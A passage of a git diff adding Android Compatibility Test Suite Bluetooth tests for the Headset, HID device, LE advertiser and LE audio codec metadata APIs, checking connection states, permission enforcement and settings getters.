+        mIsHeadsetSupported = TestUtils.isProfileEnabled(BluetoothProfile.HEADSET);
+        if (!mIsHeadsetSupported) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothHeadset = null;
+
+        mAdapter.getProfileProxy(getContext(), new BluetoothHeadsetServiceListener(),
+                BluetoothProfile.HEADSET);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!(mHasBluetooth && mIsHeadsetSupported)) {
+            return;
+        }
+        if (mAdapter != null && mBluetoothHeadset != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.HEADSET, mBluetoothHeadset);
+            mBluetoothHeadset = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    public void test_getConnectedDevices() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        assertEquals(mBluetoothHeadset.getConnectedDevices(),
+                new ArrayList<BluetoothDevice>());
+    }
+
+    public void test_getDevicesMatchingConnectionStates() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        assertEquals(mBluetoothHeadset.getDevicesMatchingConnectionStates(
+                new int[]{BluetoothProfile.STATE_CONNECTED}),
+                new ArrayList<BluetoothDevice>());
+    }
+
+    public void test_getConnectionState() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertEquals(mBluetoothHeadset.getConnectionState(testDevice),
+                BluetoothProfile.STATE_DISCONNECTED);
+    }
+
+    public void test_isAudioConnected() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertFalse(mBluetoothHeadset.isAudioConnected(testDevice));
+        assertFalse(mBluetoothHeadset.isAudioConnected(null));
+
+        // Verify the method returns false when Bluetooth is off and you supply a valid device
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mBluetoothHeadset.isAudioConnected(testDevice));
+    }
+
+    public void test_isNoiseReductionSupported() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertFalse(mBluetoothHeadset.isNoiseReductionSupported(testDevice));
+        assertFalse(mBluetoothHeadset.isNoiseReductionSupported(null));
+
+        // Verify the method returns false when Bluetooth is off and you supply a valid device
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mBluetoothHeadset.isNoiseReductionSupported(testDevice));
+    }
+
+    public void test_isVoiceRecognitionSupported() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertFalse(mBluetoothHeadset.isVoiceRecognitionSupported(testDevice));
+        assertFalse(mBluetoothHeadset.isVoiceRecognitionSupported(null));
+
+        // Verify the method returns false when Bluetooth is off and you supply a valid device
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mBluetoothHeadset.isVoiceRecognitionSupported(testDevice));
+    }
+
+    public void test_sendVendorSpecificResultCode() {
+        if (!(mHasBluetooth && mIsHeadsetSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHeadset);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        try {
+            mBluetoothHeadset.sendVendorSpecificResultCode(testDevice, null, null);
+            fail("sendVendorSpecificResultCode did not throw an IllegalArgumentException when the "
+                    + "command was null");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        assertFalse(mBluetoothHeadset.sendVendorSpecificResultCode(testDevice, "", ""));
+        assertFalse(mBluetoothHeadset.sendVendorSpecificResultCode(null, "", ""));
+
+        // Verify the method returns false when Bluetooth is off and you supply a valid device
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mBluetoothHeadset.sendVendorSpecificResultCode(testDevice, "", ""));
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothHeadsetServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothHeadset = (BluetoothHeadset) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceAppQosSettingsTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceAppQosSettingsTest.java
new file mode 100644
index 0000000..8827aa9
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceAppQosSettingsTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothHidDeviceAppQosSettings;
+import android.test.AndroidTestCase;
+
+public class BluetoothHidDeviceAppQosSettingsTest extends AndroidTestCase {
+    private final int TEST_SERVICE_TYPE = BluetoothHidDeviceAppQosSettings.SERVICE_BEST_EFFORT;
+    private final int TEST_TOKEN_RATE = 800;
+    private final int TEST_TOKEN_BUCKET_SIZE = 9;
+    private final int TEST_PEAK_BANDWIDTH = 10;
+    private final int TEST_LATENCY = 11250;
+    private final int TEST_DELAY_VARIATION = BluetoothHidDeviceAppQosSettings.MAX;
+    private BluetoothHidDeviceAppQosSettings mBluetoothHidDeviceAppQosSettings;
+
+    @Override
+    public void setUp() throws Exception {
+        mBluetoothHidDeviceAppQosSettings = new BluetoothHidDeviceAppQosSettings(
+                BluetoothHidDeviceAppQosSettings.SERVICE_BEST_EFFORT, TEST_TOKEN_RATE,
+                TEST_TOKEN_BUCKET_SIZE, TEST_PEAK_BANDWIDTH, TEST_LATENCY, TEST_DELAY_VARIATION);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mBluetoothHidDeviceAppQosSettings = null;
+    }
+
+
+    public void test_allMethods() {
+        assertEquals(mBluetoothHidDeviceAppQosSettings.getServiceType(),
+                TEST_SERVICE_TYPE);
+        assertEquals(mBluetoothHidDeviceAppQosSettings.getLatency(), TEST_LATENCY);
+        assertEquals(mBluetoothHidDeviceAppQosSettings.getTokenRate(), TEST_TOKEN_RATE);
+        assertEquals(mBluetoothHidDeviceAppQosSettings.getPeakBandwidth(), TEST_PEAK_BANDWIDTH);
+        assertEquals(mBluetoothHidDeviceAppQosSettings.getDelayVariation(), TEST_DELAY_VARIATION);
+        assertEquals(mBluetoothHidDeviceAppQosSettings.getTokenBucketSize(),
+                TEST_TOKEN_BUCKET_SIZE);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceAppSdpSettingsTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceAppSdpSettingsTest.java
new file mode 100644
index 0000000..97599e0
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceAppSdpSettingsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothHidDeviceAppSdpSettings;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+/**
+ * Unit test cases for {@link BluetoothHidDeviceAppSdpSettings}.
+ */
+public class BluetoothHidDeviceAppSdpSettingsTest extends AndroidTestCase {
+    @SmallTest
+    public void testGetters() {
+        String name = "test-name";
+        String description = "test-description";
+        String provider = "test-provider";
+        byte subclass = 1;
+        byte[] descriptors = new byte[] {10};
+        BluetoothHidDeviceAppSdpSettings settings = new BluetoothHidDeviceAppSdpSettings(
+                name, description, provider, subclass, descriptors);
+        assertEquals(name, settings.getName());
+        assertEquals(description, settings.getDescription());
+        assertEquals(provider, settings.getProvider());
+        assertEquals(subclass, settings.getSubclass());
+        assertEquals(descriptors.length, settings.getDescriptors().length);
+        assertEquals(descriptors[0], settings.getDescriptors()[0]);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceCallbackTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceCallbackTest.java
new file mode 100644
index 0000000..bcbe8fb
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceCallbackTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHidDevice;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothHidDeviceCallbackTest {
+    private BluetoothHidDevice.Callback mHidDeviceCallback = new BluetoothHidDevice.Callback() {
+        @Override
+        public void onGetReport(BluetoothDevice device, byte type, byte id, int bufferSize) {
+            super.onGetReport(device, type, id, bufferSize);
+        }
+
+        @Override
+        public void onSetReport(BluetoothDevice device, byte type, byte id, byte[] data) {
+            super.onSetReport(device, type, id, data);
+        }
+
+        @Override
+        public void onSetProtocol(BluetoothDevice device, byte protocol) {
+            super.onSetProtocol(device, protocol);
+        }
+
+        @Override
+        public void onInterruptData(BluetoothDevice device, byte reportId, byte[] data) {
+            super.onInterruptData(device, reportId, data);
+        }
+
+        @Override
+        public void onVirtualCableUnplug(BluetoothDevice device) {
+            super.onVirtualCableUnplug(device);
+        }
+    };
+
+    @Test
+    public void testHidDeviceCallback() {
+        // TODO: Provide a way to simulate BluetoothHidHost for better testing.
+        // We may need to have a new BluetoothAdapter.getProfileProxy method with a new test profile
+        // like HID_DEVICE_TEST which also takes a mock hid host instance.
+        mHidDeviceCallback.onGetReport(null, (byte) 0, (byte) 0, 0);
+        mHidDeviceCallback.onSetReport(null, (byte) 0, (byte) 0, null);
+        mHidDeviceCallback.onSetProtocol(null, (byte) 0);
+        mHidDeviceCallback.onInterruptData(null, (byte) 0, null);
+        mHidDeviceCallback.onVirtualCableUnplug(null);
+        // FYI, onAppStatusChanged and onConnectionStateChanged are covered by CtsVerifier.
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
new file mode 100644
index 0000000..1a258bc
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHidDevice;
+import android.bluetooth.BluetoothHidDeviceAppSdpSettings;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothHidDeviceTest extends AndroidTestCase {
+    private static final String TAG = BluetoothHidDevice.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private boolean mIsHidSupported;
+    private boolean mIsProfileReady;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+    private BluetoothHidDeviceAppSdpSettings mSettings;
+    private ExecutorService mExecutor;
+    private BluetoothHidDevice mBluetoothHidDevice;
+
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth =
+                getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
+        if (!mHasBluetooth) return;
+
+        mIsHidSupported = TestUtils.isProfileEnabled(BluetoothProfile.HID_DEVICE);
+        if (!mIsHidSupported) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothHidDevice = null;
+        mExecutor = Executors.newSingleThreadExecutor();
+
+        mAdapter.getProfileProxy(getContext(), new BluetoothHidServiceListener(),
+                BluetoothProfile.HID_DEVICE);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!(mHasBluetooth && mIsHidSupported)) {
+            return;
+        }
+        if (mAdapter != null && mBluetoothHidDevice != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.HID_DEVICE, mBluetoothHidDevice);
+            mBluetoothHidDevice = null;
+            mIsProfileReady = false;
+        }
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    public void test_getDevicesMatchingConnectionStates() {
+        if (!(mHasBluetooth && mIsHidSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHidDevice);
+
+        assertEquals(mBluetoothHidDevice.getDevicesMatchingConnectionStates(
+                        new int[]{BluetoothProfile.STATE_CONNECTED}),
+                new ArrayList<BluetoothDevice>()
+        );
+    }
+
+    public void test_getConnectionState() {
+        if (!(mHasBluetooth && mIsHidSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHidDevice);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertEquals(mBluetoothHidDevice.getConnectionState(testDevice),
+                BluetoothProfile.STATE_DISCONNECTED);
+    }
+
+    public void test_connect() {
+        if (!(mHasBluetooth && mIsHidSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHidDevice);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertFalse(mBluetoothHidDevice.connect(testDevice));
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothHidDevice.connect(testDevice));
+    }
+
+    public void test_disconnect() {
+        if (!(mHasBluetooth && mIsHidSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHidDevice);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertFalse(mBluetoothHidDevice.disconnect(testDevice));
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothHidDevice.connect(testDevice));
+    }
+
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothHidServiceListener implements
+            BluetoothProfile.ServiceListener {
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothHidDevice = (BluetoothHidDevice) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+
+        }
+    }
+
+
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java
new file mode 100644
index 0000000..e7f59b8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_ADVERTISE;
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.le.AdvertisingSetCallback.ADVERTISE_SUCCESS;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.le.AdvertisingSet;
+import android.bluetooth.le.AdvertisingSetCallback;
+import android.bluetooth.le.AdvertisingSetParameters;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+
+public class BluetoothLeAdvertiserTest extends AndroidTestCase {
+    private static final int TIMEOUT_MS = 5000;
+    private static final AdvertisingSetParameters ADVERTISING_SET_PARAMETERS =
+            new AdvertisingSetParameters.Builder().setLegacyMode(true).build();
+
+    private boolean mHasBluetooth;
+    private UiAutomation mUiAutomation;
+    private BluetoothAdapter mAdapter;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private TestAdvertisingSetCallback mCallback;
+
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        if (!mHasBluetooth) return;
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_ADVERTISE);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        mAdvertiser = mAdapter.getBluetoothLeAdvertiser();
+        mCallback = new TestAdvertisingSetCallback();
+    }
+
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            mAdvertiser.stopAdvertisingSet(mCallback);
+            assertTrue(mCallback.mAdvertisingSetStoppedLatch.await(TIMEOUT_MS,
+                    TimeUnit.MILLISECONDS));
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mAdvertiser = null;
+            mAdapter = null;
+        }
+    }
+
+    public void test_startAdvertisingSetWithCallbackAndHandler() throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+                mCallback, new Handler(Looper.getMainLooper()));
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+    }
+
+
+    public void test_startAdvertisingSetWithDurationAndCallback() throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+                0, 0, mCallback);
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+    }
+
+
+    public void test_startAdvertisingSetWithDurationCallbackAndHandler()
+            throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+                0, 0, mCallback, new Handler(Looper.getMainLooper()));
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+    }
+
+    private static class TestAdvertisingSetCallback extends AdvertisingSetCallback {
+        public CountDownLatch mAdvertisingSetStartedLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingEnabledLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingDisabledLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingSetStoppedLatch = new CountDownLatch(1);
+
+        public AtomicInteger mAdvertisingSetStartedStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingEnabledStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingDisabledStatus = new AtomicInteger();
+
+        public AtomicReference<AdvertisingSet> mAdvertisingSet = new AtomicReference();
+
+        @Override
+        public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower,
+                int status) {
+            super.onAdvertisingSetStarted(advertisingSet, txPower, status);
+            mAdvertisingSetStartedStatus.set(status);
+            mAdvertisingSet.set(advertisingSet);
+            mAdvertisingSetStartedLatch.countDown();
+        }
+
+        @Override
+        public void onAdvertisingEnabled(AdvertisingSet advertisingSet, boolean enable,
+                int status) {
+            super.onAdvertisingEnabled(advertisingSet, enable, status);
+            if (enable) {
+                mAdvertisingEnabledStatus.set(status);
+                mAdvertisingEnabledLatch.countDown();
+            } else {
+                mAdvertisingDisabledStatus.set(status);
+                mAdvertisingDisabledLatch.countDown();
+            }
+        }
+
+        @Override
+        public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {
+            super.onAdvertisingSetStopped(advertisingSet);
+            mAdvertisingSetStoppedLatch.countDown();
+        }
+
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
new file mode 100644
index 0000000..b40b52d
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeAudioCodecConfigMetadataTest {
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+    // See Page 5 of Generic Audio assigned number specification
+    private static final byte[] TEST_METADATA_BYTES = {
+            // length = 0x05, type = 0x03, value = 0x00000001 (front left)
+            0x05, 0x03, 0x01, 0x00, 0x00, 0x00
+    };
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsBroadcastSourceSupported;
+    private boolean mIsBroadcastAssistantSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
